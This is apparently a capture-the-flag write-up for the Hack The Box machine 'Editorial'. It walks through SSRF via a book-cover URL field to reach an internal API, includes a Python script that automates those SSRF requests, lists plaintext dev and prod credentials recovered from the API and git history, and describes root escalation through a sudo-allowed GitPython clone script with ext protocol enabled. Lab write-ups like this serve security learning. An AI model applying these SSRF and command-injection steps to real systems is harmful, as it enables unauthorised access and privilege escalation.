Hack The Box: Editorial
Recon
NMAP
Web Port
The web page appears to be a book review site. The "Publish with us" page allows for some info entry and a file upload.
The "About" page includes and additional domain tiempoarriba.htb
Initial Access
Upload Page
The "Cover URL" field seems to actually get requested by the backend. When putting in my attacker IP as the URL, I get a request.
Additionally, the text file upload will take any file and upload it and return the path in /static/uploads
. But the file as uploaded, does not appear to be executable.
The cover upload URL seems to be uploaded and the file path returned, so that you can access the file. Any error will return the default image. There seems to be an SSRF here but I need to figure out how to access an internal file and then access it via the upload URL.
First, I decided to try different ports to see if any would return anything. So using the request as a file with FFUF, I was able to find that port 5000 was open.
Making the request with http://127.0.0.1:5000
as the Cover URL returns a valid upload file location that we can request.
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
This appears to be an API error indicating how to use the API.
- /api/latest/metadata/messages/promos
- /api/latest/metadata/messages/coupons
- /api/latest/metadata/messages/authors
- /api/latest/metadata/messages/how_to_use_platform
- /api/latest/metadata/changelog
- /api/latest/metadata
Updating the request file to use port 5000 and using the API endpoints above as input, I can launch a Burp Intruder attack to see what all we have.
I don't know if it is Burp Community or what, but spend too much time trying to get Turbo Intruder to work on this. And I was not about to hand jam everything here. So I probably spent 2 hours dorking around with a Python script to automate this whole process. Turns out I was using bookUrl
instead of bookurl
and there was some control character issues solved with .strip()
import requests
with open('apis.list') as apis:
for i in apis:
print(i)
files=dict(bookurl=(None, 'http://127.0.0.1:5000'+i.strip()), bookfile=('filename.txt', 'thisis onlyatest', 'text/plain'))
headers = {'Host': 'editorial.htb'}
proxies = {'http': '127.0.0.1:8080'}
prepared = requests.Request('POST', 'http://editorial.htb/upload-cover', files=files, headers=headers).prepare()
# pretty_print_POST(prepared)
s = requests.Session()
s.proxies = proxies
r1 = s.send(prepared)
print(r1.text)
if 'uploads' in r1.text:
print('http://editorial.htb/'+r1.text.strip())
r2 = requests.get('http://editorial.htb/'+r1.text.strip(), allow_redirects=True)
print(r2.content)
dev:dev080217_devAPI!@
Initial Access
Using the creds found above, I was able to simply SSH into the box.
Internal Recon
Running Linpeas.sh and doing manual recon, here are a few nice vectors:
- Additional user
prod
Alirio Acosta, with home dir/home/prod
cd /home/ apps
directory indev
home dir that is a Git Repo.
Git Repo
No files in the repo other than a git log
output, but we can use git
to look around some more.
In the git log, one of the entries indicates
It (will) contains internal info about the editorial
So I just checked out that commit: git checkout 1e84a036b2f33c59e2390730699a488c65643d28
In the recovered files, app_api/app.py
contains similar creds to what was exposed by the API, except for Prod.
prod:080217_Producti0n_2023!@
And sure enough, those creds do work for the prod user.
Escalation
A quick check with sudo -l
indicates prod can run /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
That Python file is not writeable but does take user input.
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Looking for some command injection options with this, I cam across this GitHub issue, which was successful for me.
So, using that I have command execution as root!